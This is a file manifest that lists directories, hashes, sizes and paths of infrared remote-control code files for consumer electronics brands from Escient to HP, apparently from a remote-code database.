-F:599944d6eafa9151301d421397466c22:3268:infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir -F:ced4615f87ea417c888d3fe2b89c1441:3352:infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir -F:0cacfc58aed147402f69ef65f436cd69:3254:infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir -F:83ba933311b0ef0fb7e8843ea04bf8f6:4759:infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir -F:d76aa33604efd77cabdcc873ce63ee52:2991:infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir -F:a5d71a2e41ac460c655da198b36f1cc4:4851:infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir -F:3d84cebc06ff34ea9c3324c40caa0413:3675:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir -F:ff1315abade4e3c9cb202b4b52a7aab2:292:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir -F:10505e229302ef609de25671395bd081:3861:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir -F:c6c3dc70364c1671814b8928130a8f43:584:infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir -F:245fa11f5bc33222de73ec4c31d99a24:3681:infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir -F:fec230560dc46fa77e8097305f3c7d6c:208:infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir -F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir -F:e5985ba7666fe550992c8d30d1fc532c:1521:infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir -F:4ec5c35838ab7229b21a40b59f848a84:9600:infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir -F:43f7405f385fb6005b9beac7a6d5ead0:122:infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir -F:91a8260f7f0f3a0c3036cf2897d35709:6159:infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir -F:74125896cb76bc74074af5a39eabc403:5015:infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir -F:1754a410fefafe0b311b77c530a36080:4844:infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir -F:a90d73da9842e668e93460c4234ad378:6335:infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir -F:48c1e288f200c94612ecca05b457a33d:6425:infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir -F:b38fd5033f98dc43e5143c3402ccd030:118:infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir -F:98737fe109baf38a90b963d398f40cd0:2051:infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir -F:a72b4da94f807af373653c14b0d36bbd:2121:infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir -D:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player -F:b0b4495e8c133145237bd79cdf1f20dc:3946:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir -D:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988 -F:be8392cc13b06798eb35b9f5ab61db7f:4033:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir -D:infrared/_CSV-IRDB_/Expressvu/Unknown_3100 -F:d27ab5d9913dfe1138ebb27c6e3f0c0a:1165:infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir -D:infrared/_CSV-IRDB_/Extron/Switcher -F:8f4df244527e343ccbe3cff05298cf80:1027:infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir -F:919382ee565f98c19fcde11decd82d56:1399:infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir -D:infrared/_CSV-IRDB_/FSC/DVD Player -F:08363df9c190fc0a1b62f42544bb9d7f:4449:infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir -D:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE -F:01eb7ba0d3a29091a0748009c028e0f2:1963:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir -D:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS -D:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA -F:8981eb745d895bb49ba0675dd00114a2:2332:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir -F:937bb0f4927ab158eed9ad9e6f5cf8b4:2142:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir -D:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD -F:2ac6526b545d4f67d42fc1b552ba88a1:3839:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir -D:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100 -F:92ff1653b0b8aefaa3f91769922227f5:1541:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir -D:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000 -F:d74dadaf55fe76a48614e2d671374b2a:1470:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir -D:infrared/_CSV-IRDB_/Faroudja/DVD Player -D:infrared/_CSV-IRDB_/Faroudja/Line Doubler -D:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler -D:infrared/_CSV-IRDB_/Faroudja/Processor -D:infrared/_CSV-IRDB_/Faroudja/Video Processor -D:infrared/_CSV-IRDB_/Faroudja/Video Projector -F:86dd236eaf76fd18208b5e1e0a31d697:3869:infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir -F:33617a43b256f7bfd3bbc3c0ea51c024:2629:infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir -F:1227c4a3e955ce8ae2d18f80026d6676:760:infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir -F:1227c4a3e955ce8ae2d18f80026d6676:760:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir -F:cab752e9bffa82158e700a575935da54:1302:infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir -F:930099c4c6c06bc0718b3d3d0cd152ac:3175:infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir -F:2c98bdd0f35c1bd27c0da78f97992c1e:2794:infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir -F:40f30ef2e01dd9d24aa7f34f783183ac:199:infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir -F:aaf905f7de9ec3428f70734ec0f0d71e:2614:infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir -F:aa67357d776e2f95143af7af8bc18b44:118:infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir -F:06748575fa5bb8f905cb26b0d6050421:920:infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir -F:47502e0cd0af1b6146f652dd4aeb8a57:918:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir -F:6e263579248fdb4d37384f46460498a8:1365:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir -F:7a100d896c44d273828bae9bee053cd7:118:infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir -D:infrared/_CSV-IRDB_/Fast/TV -D:infrared/_CSV-IRDB_/Fast/TVS -F:f770c63b1214c70001e7c95b94b448c2:6617:infrared/_CSV-IRDB_/Fast/TV/28,-1.ir -F:3fe11d6ddafa1ba496071101d9da1665:901:infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir -D:infrared/_CSV-IRDB_/Fedders/Air Conditioner -F:88fe4aaf46b7cdfa777c3800ce0881fa:569:infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir -D:infrared/_CSV-IRDB_/Fisher/Surround Processor -D:infrared/_CSV-IRDB_/Fisher/TV -D:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F -D:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060 -D:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500 -D:infrared/_CSV-IRDB_/Fisher/Unknown_ra -F:efa08da74b520a1a28a9858070b9b620:118:infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir -F:b963000f68cc2f0245291ececd7bc764:2057:infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir -F:ef815f5577fc35c3138158ad6737beef:199:infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir -F:23b6063a7fb378fa7866934e7a3341b2:2127:infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir -F:65e9311de88aa03c826c5a4f0f03d525:760:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir -F:ba3e9542679d4d412c359a8eafc704cf:4242:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir -F:68b0bccd40ca1073d965c518d9a2e732:2756:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir -F:e7b51deb4f37ad1238a958be0e311b1e:4032:infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir -D:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime -D:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2 -F:91824a016f4077f13fed07d00600872b:2781:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir -F:5c466bbe7c741e8976ba28d0634106f8:4215:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir -D:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier -D:infrared/_CSV-IRDB_/Fosgate/Surround Processor -F:b5ef06ac4e4f7ad671b0215766c33a89:219:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir -F:3a287cf4f62dba2cf499c9ac1d1e0735:209:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir -F:9a2116cd0c3271764d61a0ecd1d96b29:3138:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir -F:0bd70b2d6d17a491f1d458a7850ae0f5:6797:infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir -D:infrared/_CSV-IRDB_/Foxtel/Set Top Box -D:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital -D:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel -F:fe392434d5582cde19d20d88818672be:3045:infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir -F:462abc8641321f432912bc14b371e8ec:2746:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir -F:81b2ae78587c12e16c8b97fad7b01f0c:2995:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir -D:infrared/_CSV-IRDB_/Free/Unknown_REMOTE -D:infrared/_CSV-IRDB_/Free/Unknown_V5 -F:fcffe37a210cdf5924dc70c0f87d2a9a:3151:infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir -F:a957136e049de9c632ea643d717086e8:4368:infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir -D:infrared/_CSV-IRDB_/Freecom/Unknown_MP35 -D:infrared/_CSV-IRDB_/Freecom/Unknown_usb -F:0e01e9d1980ca29475b197c12775999d:3803:infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir -F:34d9981344bfb4354f1e4bc16a4aa658:1635:infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir -D:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL -F:14fbaa67b2572948c78c9e270e38316f:2380:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir -D:infrared/_CSV-IRDB_/Friedrich/Air Conditioner -F:25b25a82567264b6efb9e9535e0f5fbd:1024:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir -F:aaa17dd088fba7375babd1be0e3aed77:123:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir -D:infrared/_CSV-IRDB_/Fujitsu/Monitor -D:infrared/_CSV-IRDB_/Fujitsu/Plasma -D:infrared/_CSV-IRDB_/Fujitsu/TV -D:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01 -F:e6064f42e2d4fba66b80b10d22f39ae2:3618:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir -F:a8e33d7c91ceec6c1f30e974ef3711fb:1674:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir -F:8a92b1719f5f0695d9e69899aec667e1:668:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir -F:6a8a2b29edafbbe09ad47391ba463428:294:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir -F:61d85bb2a5140728007a25312f899999:9497:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir -F:8d8ee67f7b9de791b0118cdd145d1771:665:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir -F:04807a3b7c06f780c185092012cec7ff:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir -F:a91097e0ef8b98c52d22d28fa2a713a6:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir -F:48c0a79c39aa4f352602787de093c154:122:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir -F:5cb021a94381aaa8acc5e131278f2dcf:6133:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir -F:29e3eaf73d35def17c8ceb7824ca9f7f:5201:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir -F:de392fc6a441984a8ce8e72afacb76fc:739:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir -F:74b0835a195b48f94c14dbb0f4a42338:1994:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir -F:ade4b642632beb9cc8f4688a5403b666:124:infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir -F:75892c0e5be66e6720cdcd895850ce18:1232:infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir -F:2526cbc3fd8802f33e87778ca93b5d9a:3609:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir -D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21 -D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811 -F:863415e87017748b4951af2fa64aabf2:3771:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir -F:459bed48cd99e126df0207891312f0e0:2467:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir -D:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T -F:6876489fc85f0869fe7c7f82617f96bc:1631:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir -D:infrared/_CSV-IRDB_/Fusion Research/DVD Server -F:a73ab28cb89d9d912e71434420f22c9e:3092:infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir -D:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD -F:a692631abe264a43f4e4c2ec672a076e:1682:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir -D:infrared/_CSV-IRDB_/GE/TV -D:infrared/_CSV-IRDB_/GE/VCR -D:infrared/_CSV-IRDB_/GE/VCR_VKFS0938 -F:ec720467ce9dd8555a211d4d8baa9773:4317:infrared/_CSV-IRDB_/GE/TV/15,-1.ir -F:40e85c5af811fb77cf234084af7e89c2:217:infrared/_CSV-IRDB_/GE/VCR/11,-1.ir -F:31d4e4f501c812345b6ad0e8df032ccc:3435:infrared/_CSV-IRDB_/GE/VCR/14,-1.ir -F:edf33e3ed840920bc473f35aadd2c5c3:124:infrared/_CSV-IRDB_/GE/VCR/26,73.ir -F:2a339bbbb3e4ce3a5e6205af8203373c:3346:infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir -D:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50 -F:43599d9a00244c72f74f76cbcd19b0aa:853:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir -D:infrared/_CSV-IRDB_/Galaxis/Satellite -D:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5 -D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM -D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat -D:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1 -F:77b2f857da1327537ee4569a49ac1976:2680:infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir -F:60ba32f01a806310d9e9b2feb2fb49b3:2750:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir -F:a46fa864b5354c64b16214451a37f8d7:3859:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir -F:9260e19918085d90d4561e3645b6112d:1541:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir -F:97ba2fa09e014c9cffffbeeaa953adb7:4286:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir -D:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher -D:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher -D:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher -D:infrared/_CSV-IRDB_/Gefen Systems/Unknown -F:b2d0edd9b477c9dd8b9715664569a657:365:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir -F:86dac978f72c966275b5badbe92fa532:1099:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir -F:ea93d30322cf205ec1cfdfc830edeb47:2981:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir -F:919e7a6dfee33beb75832648eaf35266:5181:infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir -D:infrared/_CSV-IRDB_/General/Unknown_VCR -F:6c45c8fd1affc95145ff19885ac6563f:852:infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir -D:infrared/_CSV-IRDB_/General Electric/TV -D:infrared/_CSV-IRDB_/General Electric/VCR -F:78263a8540585de45b662b84a9fb3fab:2433:infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir -F:40e85c5af811fb77cf234084af7e89c2:217:infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir -F:4daef42fcec808c2642c6b603f2869eb:2226:infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir -F:edf33e3ed840920bc473f35aadd2c5c3:124:infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir -D:infrared/_CSV-IRDB_/General Instrument/Cable Box -D:infrared/_CSV-IRDB_/General Instrument/Satellite -F:77f90f3b8eff508960107119f55b4c95:5616:infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir -F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir -F:0e2d734065de9ea01b051810464073b5:300:infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir -F:215c291119554537726bb1ddaaa3115d:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir -F:43f7405f385fb6005b9beac7a6d5ead0:122:infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir -F:90a6567013f75e29e5b913f166050e65:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir -F:0aa50e00e3b843facfcc79df13a2dcc0:118:infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir -F:649fad2a983bd8d59ee798152317fd83:306:infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir -F:252299cbff73b58d026c4f278f299e00:4667:infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir -D:infrared/_CSV-IRDB_/General Instruments/Unknown_550 -D:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200 -F:afe1bfb58eac7197c03f692be32313f6:2443:infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir -F:f8a28999f2eef2003be2f569187ff016:7439:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir -D:infrared/_CSV-IRDB_/Genesis/Theater in Box -F:150d48871698ecc4d7b9416ea81aeded:3917:infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir -D:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera -F:67c11f961d74cc870e82414cb224901a:2999:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir -D:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32 -F:08b0cba8f2deb1ee416888b968318be8:2962:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir -D:infrared/_CSV-IRDB_/Genus/Unknown_DU1 -F:1e2344d405c852125e7bc44af1077cf8:2236:infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir -D:infrared/_CSV-IRDB_/Gericom/Plasma -F:143fd1a2194c859243983b663c7d0046:5084:infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir -D:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr -F:3fe8acfdb26192bd57da87e30698cb06:4037:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir -D:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV -F:a9961c468fa61abd27e960a67de6c0cd:2516:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir -D:infrared/_CSV-IRDB_/Go Video/DVD Recorder -D:infrared/_CSV-IRDB_/Go Video/VCR -F:79437d64144649e3adc9309680c805e2:3146:infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir -F:116327c8f05d1c05899644b55fa8fc59:2847:infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir -F:f8302f4bee4f1da28c3cd246280f0b7b:5522:infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir -F:1354538268db945ce7914c07de89284a:215:infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir -D:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR -D:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR -D:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW -D:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR -D:infrared/_CSV-IRDB_/GoldStar/Unknown_cd -D:infrared/_CSV-IRDB_/GoldStar/VCR -F:3cefbbc9c4aa40914a78666378d90aa3:2223:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir -F:c9e70244cc427e4ec7af2e0fc4ce88ba:2226:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir -F:b5c59b8f55a67d36736013a95a2035e7:1106:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir -F:1c9a07587af8ee0e574c1793598dfab9:2147:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir -F:85c4b4beee1bbd4a2f0267264eff37ce:1975:infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir -F:9ffff727ff5583a8fb362579f2b47388:1735:infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir -D:infrared/_CSV-IRDB_/Golden Interstar/Sat -D:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar -F:d754bc4d0e8b807255e5ea14b22a947e:3536:infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir -F:11f933ba93f9111bb18cae2ab0dfffad:3646:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir -D:infrared/_CSV-IRDB_/Goldmund/CD Player -F:fe3f488701db706a98158548dd5ecdfb:650:infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir -D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB -D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124 -D:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM -D:infrared/_CSV-IRDB_/Goodmans/Unknown_md305 -F:e802b7362b6b0540cd3c16588e0e10c0:2965:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir -F:85f1c71ebe2a50c004f4817dfb75bd24:3833:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir -F:344c7307347ad1862ee6f7b7d3b744ff:3156:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir -F:bb06ca05b08c84eb9c348f038b22e371:2856:infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir -D:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730 -F:1188cefb8f527a7ef90ef0a76c19edfb:3950:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir -D:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10 -D:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100 -F:0410ba9b80896959992ba94bf34cf4e1:2772:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir -F:bc6c50afde36fa7ed383b649b3db5c53:2341:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir -D:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix -F:36af617e3265e245891de17252cdb012:3301:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir -D:infrared/_CSV-IRDB_/Grand Tech/Cable Box -F:63e994000400457b8f55fd8342c1d4f2:1810:infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir -D:infrared/_CSV-IRDB_/Griffin/iPod -F:86c7b531fa80195a718e362438eaa855:1473:infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir -D:infrared/_CSV-IRDB_/Grundig/Satellite -D:infrared/_CSV-IRDB_/Grundig/TV -D:infrared/_CSV-IRDB_/Grundig/Unknown_2500S -D:infrared/_CSV-IRDB_/Grundig/Unknown_84D -D:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg -D:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660 -D:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3 -D:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD -D:infrared/_CSV-IRDB_/Grundig/Unknown_RP -D:infrared/_CSV-IRDB_/Grundig/Unknown_TP -D:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C -D:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V -D:infrared/_CSV-IRDB_/Grundig/Unknown_rp700 -D:infrared/_CSV-IRDB_/Grundig/Unknown_tp621 -D:infrared/_CSV-IRDB_/Grundig/Video Recorder -F:b6b5b624a8d8b7882d9cf44cba74086f:118:infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir -F:3bb57a7b17d0123b469b5861b4b97a7c:965:infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir -F:2b625e598648fe894cd4022efd50d90b:119:infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir -F:a08fae6e0c60af3bd9b452830345505d:3010:infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir -F:31d1aab941e48ec3667cfbd81a61bb6f:2651:infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir -F:91837817a930c8fe31b17eac25cc46f2:3853:infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir -F:a217f2fa464d9150ca6064bea8da416a:2523:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir -F:eb9f438f7238f425eb5e8b47efed60ff:3431:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir -F:85e88eae499f2204ce339fd81633588a:3571:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir -F:da58296668accfe04c9a5d0ee19e6e9f:2130:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir -F:a0aafbd30bce5e8cfb5b3dc02a6692e8:2554:infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir -F:cdd030c937aa0f4bff6e17d0bc46017c:2760:infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir -F:21a5200020c360853b468102a17508fa:2512:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir -F:314ae601cd9862a27f322342a13eb262:1735:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir -F:cfb69875a7c2323c8acbd4828ff021c6:2411:infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir -F:fad760558b46bc36e061d3508e01116c:4183:infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir -F:174504fa7bf7463dbc0454dc8cfcdbb1:1976:infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir -D:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier -F:6042327e4c3f30abe0751ff4db91535c:568:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir -D:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263 -F:ba7703f427b7587b0cca47325e0b578a:2644:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir -D:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL -F:34d463633840064f711f5c9693e27708:2576:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir -D:infrared/_CSV-IRDB_/HP/Unknown_465539-002 -D:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR -D:infrared/_CSV-IRDB_/HP/Unknown_DV6331 -D:infrared/_CSV-IRDB_/HP/Unknown_Pavilion -D:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B -D:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00 -D:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01 